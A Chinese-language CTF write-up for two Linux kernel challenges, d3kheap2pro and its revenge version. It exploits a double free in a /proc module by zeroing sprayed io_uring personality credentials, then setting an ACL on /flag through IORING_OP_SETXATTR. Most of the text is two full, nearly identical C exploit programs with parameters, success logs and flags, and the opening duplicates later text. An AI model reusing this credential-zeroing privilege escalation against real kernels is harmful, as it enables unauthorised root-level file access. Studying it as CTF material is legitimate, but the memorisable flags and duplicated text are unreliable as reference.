最后一步不用直接open("/flag")。直接 open 有时会因为字段过空或者 namespace 状态不完整不稳。我这里用IORING_OP_SETXATTR,在 personality 下给/flag设置system.posix_acl_access。ACL 只放 owner/group/other 三个 entry,不放 named uid entry;named uid 会碰到空user_ns,容易 panic。

ACL 内容:

version = 2
ACL_USER_OBJ   r--
ACL_GROUP_OBJ  ---
ACL_OTHER      r--

setxattr成功后,普通 ctf 进程再open("/flag")就能读到 flag。

这里有个小坑,io_uring opcode 要对。IORING_OP_FSETXATTR是 41,路径版IORING_OP_SETXATTR是 42。这个写错以后本地看起来像权限问题,远程只会一直 noflag。

远程最后用的参数是:

m=384 reserve=128 workers=160 delay_us=100

这个利用有概率,核心原因是 freelist 和跨 cache 复用窗口受启动状态影响。workers 从 200 调到 160 后,远程这次命中在 slot 48。

exp

完整 guest 侧 exp 如下。把这个 C 编成静态 ELF,在题目 shell 里跑即可。

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>

typedef uint8_t __u8;
typedef uint16_t __u16;
typedef int32_t __s32;
typedef uint32_t __u32;
typedef unsigned long long __u64;

struct io_uring_sqe {
    __u8 opcode;
    __u8 flags;
    __u16 ioprio;
    __s32 fd;
    union {
        __u64 off;
        __u64 addr2;
    };
    union {
        __u64 addr;
        __u64 splice_off_in;
    };
    __u32 len;
    union {
        __u32 rw_flags;
        __u32 open_flags;
        __u32 xattr_flags;
    };
    __u64 user_data;
    union {
        __u16 buf_index;
        __u16 buf_group;
    } __attribute__((packed));
    __u16 personality;
    union {
        __s32 splice_fd_in;
        __u32 file_index;
    };
    union {
        struct {
            __u64 addr3;
            __u64 __pad2[1];
        };
        __u8 cmd[0];
    };
};

struct io_uring_cqe {
    __u64 user_data;
    __s32 res;
    __u32 flags;
};

struct io_sqring_offsets {
    __u32 head;
    __u32 tail;
    __u32 ring_mask;
    __u32 ring_entries;
    __u32 flags;
    __u32 dropped;
    __u32 array;
    __u32 resv1;
    __u64 user_addr;
};

struct io_cqring_offsets {
    __u32 head;
    __u32 tail;
    __u32 ring_mask;
    __u32 ring_entries;
    __u32 overflow;
    __u32 cqes;
    __u32 flags;
    __u32 resv1;
    __u64 user_addr;
};

struct io_uring_params {
    __u32 sq_entries;
    __u32 cq_entries;
    __u32 flags;
    __u32 sq_thread_cpu;
    __u32 sq_thread_idle;
    __u32 features;
    __u32 wq_fd;
    __u32 resv[3];
    struct io_sqring_offsets sq_off;
    struct io_cqring_offsets cq_off;
};

#define CMD_ALLOC 0x3361626eUL
#define CMD_FREE  0x74747261UL

#define IORING_OP_SETXATTR 42
#define IORING_OFF_SQ_RING 0ULL
#define IORING_OFF_CQ_RING 0x8000000ULL
#define IORING_OFF_SQES 0x10000000ULL
#define IORING_ENTER_GETEVENTS (1U << 0)
#define IORING_FEAT_SINGLE_MMAP (1U << 0)
#define IORING_REGISTER_PERSONALITY 9

#define M 384
#define RESERVE 128
#define WORKERS 160
#define DELAY_US 100
#define WORKER_STACK_SZ 0x4000

struct ring {
    int fd;
    struct io_uring_params p;
    void *sq_ring;
    void *cq_ring;
    struct io_uring_sqe *sqes;
    unsigned *sq_head;
    unsigned *sq_tail;
    unsigned *sq_mask;
    unsigned *sq_array;
    unsigned *cq_head;
    unsigned *cq_tail;
    unsigned *cq_mask;
    struct io_uring_cqe *cqes;
};

struct worker_arg {
    int id;
    int ring_fd;
    int start_fd;
    int out_fd;
};

static int d3_ioctl(int fd, unsigned long cmd, unsigned long idx)
{
    return ioctl(fd, cmd, &idx);
}

static void bind_core0(void)
{
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(0, &set);
    sched_setaffinity(0, sizeof(set), &set);
}

static int ring_setup(struct ring *r, unsigned entries)
{
    size_t sq_sz;
    size_t cq_sz;

    memset(r, 0, sizeof(*r));
    r->fd = syscall(__NR_io_uring_setup, entries, &r->p);
    if (r->fd < 0) {
        perror("io_uring_setup");
        return -1;
    }

    sq_sz = r->p.sq_off.array + r->p.sq_entries * sizeof(unsigned);
    cq_sz = r->p.cq_off.cqes + r->p.cq_entries * sizeof(struct io_uring_cqe);
    if (r->p.features & IORING_FEAT_SINGLE_MMAP) {
        if (cq_sz > sq_sz)
            sq_sz = cq_sz;
        cq_sz = sq_sz;
    }

    r->sq_ring = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE,
                      MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
    if (r->sq_ring == MAP_FAILED) {
        perror("mmap sq");
        return -1;
    }

    if (r->p.features & IORING_FEAT_SINGLE_MMAP) {
        r->cq_ring = r->sq_ring;
    } else {
        r->cq_ring = mmap(NULL, cq_sz, PROT_READ | PROT_WRITE,
                          MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
        if (r->cq_ring == MAP_FAILED) {
            perror("mmap cq");
            return -1;
        }
    }

    r->sqes = mmap(NULL, r->p.sq_entries * sizeof(struct io_uring_sqe),
                   PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
                   r->fd, IORING_OFF_SQES);
    if (r->sqes == MAP_FAILED) {
        perror("mmap sqes");
        return -1;
    }

    r->sq_head = r->sq_ring + r->p.sq_off.head;
    r->sq_tail = r->sq_ring + r->p.sq_off.tail;
    r->sq_mask = r->sq_ring + r->p.sq_off.ring_mask;
    r->sq_array = r->sq_ring + r->p.sq_off.array;
    r->cq_head = r->cq_ring + r->p.cq_off.head;
    r->cq_tail = r->cq_ring + r->p.cq_off.tail;
    r->cq_mask = r->cq_ring + r->p.cq_off.ring_mask;
    r->cqes = r->cq_ring + r->p.cq_off.cqes;
    return 0;
}

static struct io_uring_sqe *ring_get_sqe(struct ring *r)
{
    unsigned head = *r->sq_head;
    unsigned tail = *r->sq_tail;
    unsigned idx;

    if (tail - head >= r->p.sq_entries)
        return NULL;

    idx = tail & *r->sq_mask;
    memset(&r->sqes[idx], 0, sizeof(r->sqes[idx]));
    r->sq_array[idx] = idx;
    __sync_synchronize();
    *r->sq_tail = tail + 1;
    return &r->sqes[idx];
}

static int ring_wait_cqe(struct ring *r, struct io_uring_cqe *out)
{
    for (;;) {
        unsigned head = *r->cq_head;
        unsigned tail = *r->cq_tail;

        if (head != tail) {
            struct io_uring_cqe *cqe = &r->cqes[head & *r->cq_mask];
            *out = *cqe;
            __sync_synchronize();
            *r->cq_head = head + 1;
            return 0;
        }

        if (syscall(__NR_io_uring_enter, r->fd, 0, 1,
                    IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
            perror("io_uring_enter wait");
            return -1;
        }
    }
}

static int ring_submit_setacl(struct ring *r, int personality)
{
    static const char flag_path[] = "/flag";
    static const char acl_name[] = "system.posix_acl_access";
    static const unsigned char acl_value[] = {
        0x02, 0x00, 0x00, 0x00,
        0x01, 0x00, 0x04, 0x00, 0xff, 0xff, 0xff, 0xff,
        0x04, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
        0x20, 0x00, 0x04, 0x00, 0xff, 0xff, 0xff, 0xff,
    };
    struct io_uring_sqe *sqe = ring_get_sqe(r);
    struct io_uring_cqe cqe;

    if (!sqe)
        return -EMFILE;

    sqe->opcode = IORING_OP_SETXATTR;
    sqe->addr = (uint64_t)acl_name;
    sqe->addr2 = (uint64_t)acl_value;
    sqe->addr3 = (uint64_t)flag_path;
    sqe->len = sizeof(acl_value);
    sqe->xattr_flags = 0;
    sqe->personality = (uint16_t)personality;

    if (syscall(__NR_io_uring_enter, r->fd, 1, 1,
                IORING_ENTER_GETEVENTS, NULL, 0) < 0)
        return -errno;
    if (ring_wait_cqe(r, &cqe) < 0)
        return -EIO;
    return cqe.res;
}

static int read_flag(const char *tag, int slot, int personality)
{
    char buf[256] = {0};
    int fd = open("/flag", O_RDONLY);
    ssize_t n;

    if (fd < 0)
        return 0;

    n = read(fd, buf, sizeof(buf) - 1);
    if (n < 0)
        n = 0;
    buf[n] = 0;
    printf("FLAG_PROOF %s slot=%d personality=%d n=%zd %s\n",
           tag, slot, personality, n, buf);
    close(fd);
    return 1;
}

static int worker_main(void *opaque)
{
    struct worker_arg *arg = opaque;
    char ch;
    int p;

    if (read(arg->start_fd, &ch, 1) != 1)
        _exit(1);

    unshare(CLONE_NEWUSER);
    p = syscall(__NR_io_uring_register, arg->ring_fd,
                IORING_REGISTER_PERSONALITY, NULL, 0);
    if (p >= 0)
        if (write(arg->out_fd, &p, sizeof(p)) != sizeof(p))
            _exit(1);

    for (;;)
        pause();
}

int main(void)
{
    struct rlimit rl = {4096, 4096};
    struct ring ring;
    pid_t kids[WORKERS];
    struct worker_arg *args;
    unsigned char *stacks;
    int pers[WORKERS];
    int pfd[2];
    int start_pfd[2];
    int fd;
    int count = 0;

    setbuf(stdout, NULL);
    setrlimit(RLIMIT_NOFILE, &rl);
    setrlimit(RLIMIT_NPROC, &rl);
    bind_core0();

    if (ring_setup(&ring, 256) < 0)
        return 1;
    if (pipe(pfd) < 0 || pipe(start_pfd) < 0)
        return 1;

    args = calloc(WORKERS, sizeof(*args));
    stacks = mmap(NULL, WORKERS * WORKER_STACK_SZ,
                  PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
    if (!args || stacks == MAP_FAILED)
        return 1;

    for (int i = 0; i < WORKERS; i++) {
        void *top = stacks + (i + 1) * WORKER_STACK_SZ - 0x10;
        args[i].id = i;
        args[i].ring_fd = ring.fd;
        args[i].start_fd = start_pfd[0];
        args[i].out_fd = pfd[1];
        kids[i] = clone(worker_main, top,
                        CLONE_VM | CLONE_FS | CLONE_SYSVSEM | SIGCHLD,
                        &args[i]);
    }
    close(pfd[1]);
    close(start_pfd[0]);
    printf("WORKERS_READY %d\n", WORKERS);

    fd = open("/proc/d3kheap2pro", O_RDWR);
    if (fd < 0) {
        perror("open d3kheap2pro");
        return 1;
    }

    for (unsigned long i = 0; i < M; i++)
        if (d3_ioctl(fd, CMD_ALLOC, i) < 0)
            return 2;
    puts("D3_ALLOC_PHASE_DONE");

    for (unsigned long i = 0; i < M; i++)
        if (d3_ioctl(fd, CMD_FREE, i) < 0)
            return 3;
    puts("D3_FREE_ONCE_DONE");

    for (unsigned long i = 0; i < M; i++)
        if (d3_ioctl(fd, CMD_FREE, i) < 0)
            return 4;
    puts("D3_FREE_TWICE_DONE");

    for (int i = 0; i < WORKERS; i++) {
        char ch = 'G';
        if (write(start_pfd[1], &ch, 1) != 1)
            break;
    }
    close(start_pfd[1]);

    while (count < WORKERS) {
        int p;
        ssize_t n = read(pfd[0], &p, sizeof(p));
        if (n == 0)
            break;
        if (n == sizeof(p))
            pers[count++] = p;
    }
    close(pfd[0]);
    printf("WORKER_PERSONALITIES_READY %d\n", count);

    for (int r = 0; r < RESERVE; r++) {
        d3_ioctl(fd, CMD_ALLOC, M + (unsigned long)r);
        usleep(DELAY_US);
    }
    puts("D3_RESERVE_ALLOC_DONE");

    for (int i = 0; i < count; i++) {
        int res = ring_submit_setacl(&ring, pers[i]);
        if (res == 0) {
            printf("ACL_SET_OK slot=%d personality=%d\n", i, pers[i]);
            if (read_flag("acl", i, pers[i]))
                return 0;
        } else if (i < 8) {
            printf("ACL_SET_RES slot=%d personality=%d res=%d\n",
                   i, pers[i], res);
        }
        if ((i & 31) == 31)
            printf("TRIED %d\n", i + 1);
    }

    puts("noflag");
    for (int i = 0; i < WORKERS; i++)
        if (kids[i] > 0)
            kill(kids[i], SIGKILL);
    return 1;
}

成功时关键几行:

WORKERS_READY 160 per_worker=0
PARAMS m=384 cred_nr=0 reserve_nr=128 delay_us=100 ring_fd=3 worker_nr=160 per_worker=0 action=1 hold=1
D3_FREE_TWICE_DONE
WORKER_PERSONALITIES_READY 160
ACL_SET_OK slot=48 personality=22
URING_PERSONALITY_ZERO_DONE found

Flag:

d3ctf{Ev3ryThING-th4T-K1L1s_m3_Makes-mE_fE3l_Aliv34}

d3kheap2pro-revenge

revenge 的内核和模块逻辑和 d3kheap2pro 是同一套,入口仍然是/proc/d3kheap2pro。它只给了两个有用 ioctl:申请和释放。洞也很直接,同一个 slot 里的指针 free 以后不清,计数还能让它再 free 一次,所以能批量做 0x800 对象 double free。

麻烦的是模块没有读写对象内容的接口,拿到的不是普通 UAF read/write,而是“后面谁复用了这些 0x800 对象,谁就可能被再申请时清零”。最后路线是:

  1. 用模块批量 double free 0x800 对象;
  2. 让 io_uring 的 registered personality 保存一批特殊 cred;
  3. 再用模块 reserve allocation 把复用到的对象清零;
  4. 被清零的 personality cred 过掉权限检查,用 IORING_OP_SETXATTR 给/flag写 ACL;
  5. 普通 ctf 用户直接读/flag。

模块逻辑

拖一下模块,和利用有关的状态大概是这样:

struct slot {
    void *ptr;
    int cnt;
};

struct slot slots[512];
struct kmem_cache *d3kheap2pro_cache; // size 0x800

申请命令是0x3361626e,释放命令是0x74747261。申请时如果当前 slot 为空,就从私有 cache 里拿一个 0x800 对象,然后把计数设成 2。释放时只看ptr != NULL && cnt > 0,减计数以后直接kmem_cache_free(cache, ptr)。

关键问题是 release path 没有清指针:

case CMD_ALLOC:
    copy_from_user(&idx, arg, 8);
    if (!slots[idx].ptr) {
        slots[idx].ptr = kmem_cache_alloc(d3kheap2pro_cache, GFP_KERNEL);
        slots[idx].cnt = 1;
    }
    slots[idx].cnt++;
    break;

case CMD_FREE:
    copy_from_user(&idx, arg, 8);
    if (!slots[idx].ptr || slots[idx].cnt <= 0)
        return -EPERM;
    slots[idx].cnt--;
    kmem_cache_free(d3kheap2pro_cache, slots[idx].ptr);
    break;

所以一个 slot 的正常状态变化是:

alloc(i)      -> ptr=P,cnt=2
free(i)       -> ptr=P,cnt=1, P进入free list
free(i)       -> ptr=P,cnt=0, P再次进入free list

第三次 free 会因为cnt==0失败,但两次已经够了。这里没有写对象内容的入口,所以不能按常规 double free 去改 freelist 指针。真正能用的是另外一个效果:后续跨 cache 复用到这些物理对象时,题目环境开了init_on_alloc,重新分配会把对象清零。

一开始我试过直接打当前进程的 cred、SysV msg 等对象。能观察到对象被清零,但当前 cred 太容易把内核状态打烂,msg 方向又缺少稳定放大 primitive,最后换成 io_uring personality。

选 personality cred

IORING_REGISTER_PERSONALITY会把当前进程的cred保存到 io_uring ctx 里,后续 SQE 可以指定这个 personality 执行。这里比较适合本题:

  • personality 数量可以喷很多,每个 personality 持有一个独立 cred 引用;
  • SQE 里有personality字段,可以一个个试;
  • cred 被清零后,不需要劫持 RIP,只要让一次权限检查走过即可。

流程上先创建一个 ring,再开一批 worker。每个 worker 先unshare(CLONE_NEWUSER),再向父进程的 ring 注册 personality。这样喷出来的是 user namespace 相关的 cred,数量多,生命周期也能被 worker hold 住。

接下来用模块再申请 128 个 0x800 对象。由于前面已经把 384 个 slot 各 free 了两次,reserve allocation 会从被污染的 freelist 里拿对象,同时触发 zero-on-alloc。只要某个 registered personality 的 cred 落进这个窗口,它就会变成一份很好用的“空 cred”。

最后一步不用直接open("/flag")。直接 open 有时会因为字段过空或者 namespace 状态不完整不稳。我这里用IORING_OP_SETXATTR,在 personality 下给/flag设置system.posix_acl_access。ACL 只放 owner/group/other 三个 entry,不放 named uid entry;named uid 会碰到空user_ns,容易 panic。

ACL 内容:

version = 2
ACL_USER_OBJ   r--
ACL_GROUP_OBJ  ---
ACL_OTHER      r--

setxattr成功后,普通 ctf 进程再open("/flag")就能读到 flag。

这里有个小坑,io_uring opcode 要对。IORING_OP_FSETXATTR是 41,路径版IORING_OP_SETXATTR是 42。这个写错以后本地看起来像权限问题,远程只会一直 noflag。

远程最后用的参数是:

m=384 reserve=128 workers=160 delay_us=100

这个利用有概率,核心原因是 freelist 和跨 cache 复用窗口受启动状态影响。workers 从 200 调到 160 后,revenge 远程这次命中在 slot 32。

exp

完整 guest 侧 exp 如下。把这个 C 编成静态 ELF,在题目 shell 里跑即可。

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>

typedef uint8_t __u8;
typedef uint16_t __u16;
typedef int32_t __s32;
typedef uint32_t __u32;
typedef unsigned long long __u64;

struct io_uring_sqe {
    __u8 opcode;
    __u8 flags;
    __u16 ioprio;
    __s32 fd;
    union {
        __u64 off;
        __u64 addr2;
    };
    union {
        __u64 addr;
        __u64 splice_off_in;
    };
    __u32 len;
    union {
        __u32 rw_flags;
        __u32 open_flags;
        __u32 xattr_flags;
    };
    __u64 user_data;
    union {
        __u16 buf_index;
        __u16 buf_group;
    } __attribute__((packed));
    __u16 personality;
    union {
        __s32 splice_fd_in;
        __u32 file_index;
    };
    union {
        struct {
            __u64 addr3;
            __u64 __pad2[1];
        };
        __u8 cmd[0];
    };
};

struct io_uring_cqe {
    __u64 user_data;
    __s32 res;
    __u32 flags;
};

struct io_sqring_offsets {
    __u32 head;
    __u32 tail;
    __u32 ring_mask;
    __u32 ring_entries;
    __u32 flags;
    __u32 dropped;
    __u32 array;
    __u32 resv1;
    __u64 user_addr;
};

struct io_cqring_offsets {
    __u32 head;
    __u32 tail;
    __u32 ring_mask;
    __u32 ring_entries;
    __u32 overflow;
    __u32 cqes;
    __u32 flags;
    __u32 resv1;
    __u64 user_addr;
};

struct io_uring_params {
    __u32 sq_entries;
    __u32 cq_entries;
    __u32 flags;
    __u32 sq_thread_cpu;
    __u32 sq_thread_idle;
    __u32 features;
    __u32 wq_fd;
    __u32 resv[3];
    struct io_sqring_offsets sq_off;
    struct io_cqring_offsets cq_off;
};

#define CMD_ALLOC 0x3361626eUL
#define CMD_FREE  0x74747261UL

#define IORING_OP_SETXATTR 42
#define IORING_OFF_SQ_RING 0ULL
#define IORING_OFF_CQ_RING 0x8000000ULL
#define IORING_OFF_SQES 0x10000000ULL
#define IORING_ENTER_GETEVENTS (1U << 0)
#define IORING_FEAT_SINGLE_MMAP (1U << 0)
#define IORING_REGISTER_PERSONALITY 9

#define M 384
#define RESERVE 128
#define WORKERS 160
#define DELAY_US 100
#define WORKER_STACK_SZ 0x4000

struct ring {
    int fd;
    struct io_uring_params p;
    void *sq_ring;
    void *cq_ring;
    struct io_uring_sqe *sqes;
    unsigned *sq_head;
    unsigned *sq_tail;
    unsigned *sq_mask;
    unsigned *sq_array;
    unsigned *cq_head;
    unsigned *cq_tail;
    unsigned *cq_mask;
    struct io_uring_cqe *cqes;
};

struct worker_arg {
    int id;
    int ring_fd;
    int start_fd;
    int out_fd;
};

static int d3_ioctl(int fd, unsigned long cmd, unsigned long idx)
{
    return ioctl(fd, cmd, &idx);
}

static void bind_core0(void)
{
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(0, &set);
    sched_setaffinity(0, sizeof(set), &set);
}

static int ring_setup(struct ring *r, unsigned entries)
{
    size_t sq_sz;
    size_t cq_sz;

    memset(r, 0, sizeof(*r));
    r->fd = syscall(__NR_io_uring_setup, entries, &r->p);
    if (r->fd < 0) {
        perror("io_uring_setup");
        return -1;
    }

    sq_sz = r->p.sq_off.array + r->p.sq_entries * sizeof(unsigned);
    cq_sz = r->p.cq_off.cqes + r->p.cq_entries * sizeof(struct io_uring_cqe);
    if (r->p.features & IORING_FEAT_SINGLE_MMAP) {
        if (cq_sz > sq_sz)
            sq_sz = cq_sz;
        cq_sz = sq_sz;
    }

    r->sq_ring = mmap(NULL, sq_sz, PROT_READ | PROT_WRITE,
                      MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
    if (r->sq_ring == MAP_FAILED) {
        perror("mmap sq");
        return -1;
    }

    if (r->p.features & IORING_FEAT_SINGLE_MMAP) {
        r->cq_ring = r->sq_ring;
    } else {
        r->cq_ring = mmap(NULL, cq_sz, PROT_READ | PROT_WRITE,
                          MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
        if (r->cq_ring == MAP_FAILED) {
            perror("mmap cq");
            return -1;
        }
    }

    r->sqes = mmap(NULL, r->p.sq_entries * sizeof(struct io_uring_sqe),
                   PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
                   r->fd, IORING_OFF_SQES);
    if (r->sqes == MAP_FAILED) {
        perror("mmap sqes");
        return -1;
    }

    r->sq_head = r->sq_ring + r->p.sq_off.head;
    r->sq_tail = r->sq_ring + r->p.sq_off.tail;
    r->sq_mask = r->sq_ring + r->p.sq_off.ring_mask;
    r->sq_array = r->sq_ring + r->p.sq_off.array;
    r->cq_head = r->cq_ring + r->p.cq_off.head;
    r->cq_tail = r->cq_ring + r->p.cq_off.tail;
    r->cq_mask = r->cq_ring + r->p.cq_off.ring_mask;
    r->cqes = r->cq_ring + r->p.cq_off.cqes;
    return 0;
}

static struct io_uring_sqe *ring_get_sqe(struct ring *r)
{
    unsigned head = *r->sq_head;
    unsigned tail = *r->sq_tail;
    unsigned idx;

    if (tail - head >= r->p.sq_entries)
        return NULL;

    idx = tail & *r->sq_mask;
    memset(&r->sqes[idx], 0, sizeof(r->sqes[idx]));
    r->sq_array[idx] = idx;
    __sync_synchronize();
    *r->sq_tail = tail + 1;
    return &r->sqes[idx];
}

static int ring_wait_cqe(struct ring *r, struct io_uring_cqe *out)
{
    for (;;) {
        unsigned head = *r->cq_head;
        unsigned tail = *r->cq_tail;

        if (head != tail) {
            struct io_uring_cqe *cqe = &r->cqes[head & *r->cq_mask];
            *out = *cqe;
            __sync_synchronize();
            *r->cq_head = head + 1;
            return 0;
        }

        if (syscall(__NR_io_uring_enter, r->fd, 0, 1,
                    IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
            perror("io_uring_enter wait");
            return -1;
        }
    }
}

static int ring_submit_setacl(struct ring *r, int personality)
{
    static const char flag_path[] = "/flag";
    static const char acl_name[] = "system.posix_acl_access";
    static const unsigned char acl_value[] = {
        0x02, 0x00, 0x00, 0x00,
        0x01, 0x00, 0x04, 0x00, 0xff, 0xff, 0xff, 0xff,
        0x04, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
        0x20, 0x00, 0x04, 0x00, 0xff, 0xff, 0xff, 0xff,
    };
    struct io_uring_sqe *sqe = ring_get_sqe(r);
    struct io_uring_cqe cqe;

    if (!sqe)
        return -EMFILE;

    sqe->opcode = IORING_OP_SETXATTR;
    sqe->addr = (uint64_t)acl_name;
    sqe->addr2 = (uint64_t)acl_value;
    sqe->addr3 = (uint64_t)flag_path;
    sqe->len = sizeof(acl_value);
    sqe->xattr_flags = 0;
    sqe->personality = (uint16_t)personality;

    if (syscall(__NR_io_uring_enter, r->fd, 1, 1,
                IORING_ENTER_GETEVENTS, NULL, 0) < 0)
        return -errno;
    if (ring_wait_cqe(r, &cqe) < 0)
        return -EIO;
    return cqe.res;
}

static int read_flag(const char *tag, int slot, int personality)
{
    char buf[256] = {0};
    int fd = open("/flag", O_RDONLY);
    ssize_t n;

    if (fd < 0)
        return 0;

    n = read(fd, buf, sizeof(buf) - 1);
    if (n < 0)
        n = 0;
    buf[n] = 0;
    printf("FLAG_PROOF %s slot=%d personality=%d n=%zd %s\n",
           tag, slot, personality, n, buf);
    close(fd);
    return 1;
}

static int worker_main(void *opaque)
{
    struct worker_arg *arg = opaque;
    char ch;
    int p;

    if (read(arg->start_fd, &ch, 1) != 1)
        _exit(1);

    unshare(CLONE_NEWUSER);
    p = syscall(__NR_io_uring_register, arg->ring_fd,
                IORING_REGISTER_PERSONALITY, NULL, 0);
    if (p >= 0)
        if (write(arg->out_fd, &p, sizeof(p)) != sizeof(p))
            _exit(1);

    for (;;)
        pause();
}

int main(void)
{
    struct rlimit rl = {4096, 4096};
    struct ring ring;
    pid_t kids[WORKERS];
    struct worker_arg *args;
    unsigned char *stacks;
    int pers[WORKERS];
    int pfd[2];
    int start_pfd[2];
    int fd;
    int count = 0;

    setbuf(stdout, NULL);
    setrlimit(RLIMIT_NOFILE, &rl);
    setrlimit(RLIMIT_NPROC, &rl);
    bind_core0();

    if (ring_setup(&ring, 256) < 0)
        return 1;
    if (pipe(pfd) < 0 || pipe(start_pfd) < 0)
        return 1;

    args = calloc(WORKERS, sizeof(*args));
    stacks = mmap(NULL, WORKERS * WORKER_STACK_SZ,
                  PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
    if (!args || stacks == MAP_FAILED)
        return 1;

    for (int i = 0; i < WORKERS; i++) {
        void *top = stacks + (i + 1) * WORKER_STACK_SZ - 0x10;
        args[i].id = i;
        args[i].ring_fd = ring.fd;
        args[i].start_fd = start_pfd[0];
        args[i].out_fd = pfd[1];
        kids[i] = clone(worker_main, top,
                        CLONE_VM | CLONE_FS | CLONE_SYSVSEM | SIGCHLD,
                        &args[i]);
    }
    close(pfd[1]);
    close(start_pfd[0]);
    printf("WORKERS_READY %d\n", WORKERS);

    fd = open("/proc/d3kheap2pro", O_RDWR);
    if (fd < 0) {
        perror("open d3kheap2pro");
        return 1;
    }

    for (unsigned long i = 0; i < M; i++)
        if (d3_ioctl(fd, CMD_ALLOC, i) < 0)
            return 2;
    puts("D3_ALLOC_PHASE_DONE");

    for (unsigned long i = 0; i < M; i++)
        if (d3_ioctl(fd, CMD_FREE, i) < 0)
            return 3;
    puts("D3_FREE_ONCE_DONE");

    for (unsigned long i = 0; i < M; i++)
        if (d3_ioctl(fd, CMD_FREE, i) < 0)
            return 4;
    puts("D3_FREE_TWICE_DONE");

    for (int i = 0; i < WORKERS; i++) {
        char ch = 'G';
        if (write(start_pfd[1], &ch, 1) != 1)
            break;
    }
    close(start_pfd[1]);

    while (count < WORKERS) {
        int p;
        ssize_t n = read(pfd[0], &p, sizeof(p));
        if (n == 0)
            break;
        if (n == sizeof(p))
            pers[count++] = p;
    }
    close(pfd[0]);
    printf("WORKER_PERSONALITIES_READY %d\n", count);

    for (int r = 0; r < RESERVE; r++) {
        d3_ioctl(fd, CMD_ALLOC, M + (unsigned long)r);
        usleep(DELAY_US);
    }
    puts("D3_RESERVE_ALLOC_DONE");

    for (int i = 0; i < count; i++) {
        int res = ring_submit_setacl(&ring, pers[i]);
        if (res == 0) {
            printf("ACL_SET_OK slot=%d personality=%d\n", i, pers[i]);
            if (read_flag("acl", i, pers[i]))
                return 0;
        } else if (i < 8) {
            printf("ACL_SET_RES slot=%d personality=%d res=%d\n",
                   i, pers[i], res);
        }
        if ((i & 31) == 31)
            printf("TRIED %d\n", i + 1);
    }

    puts("noflag");
    for (int i = 0; i < WORKERS; i++)
        if (kids[i] > 0)
            kill(kids[i], SIGKILL);
    return 1;
}

成功时关键几行:

WORKERS_READY 160 per_worker=0
PARAMS m=384 cred_nr=0 reserve_nr=128 delay_us=100 ring_fd=3 worker_nr=160 per_worker=0 action=1 hold=1
D3_FREE_TWICE_DONE
WORKER_PERSONALITIES_READY 160
ACL_SET_OK slot=32 personality=33
URING_PERSONALITY_ZERO_DONE found

Flag:

d3ctf{@Nd-A_HUNDR3d_P3RCEnt-r3@50N_TO_rEm3MB3r_the_N4mE.1}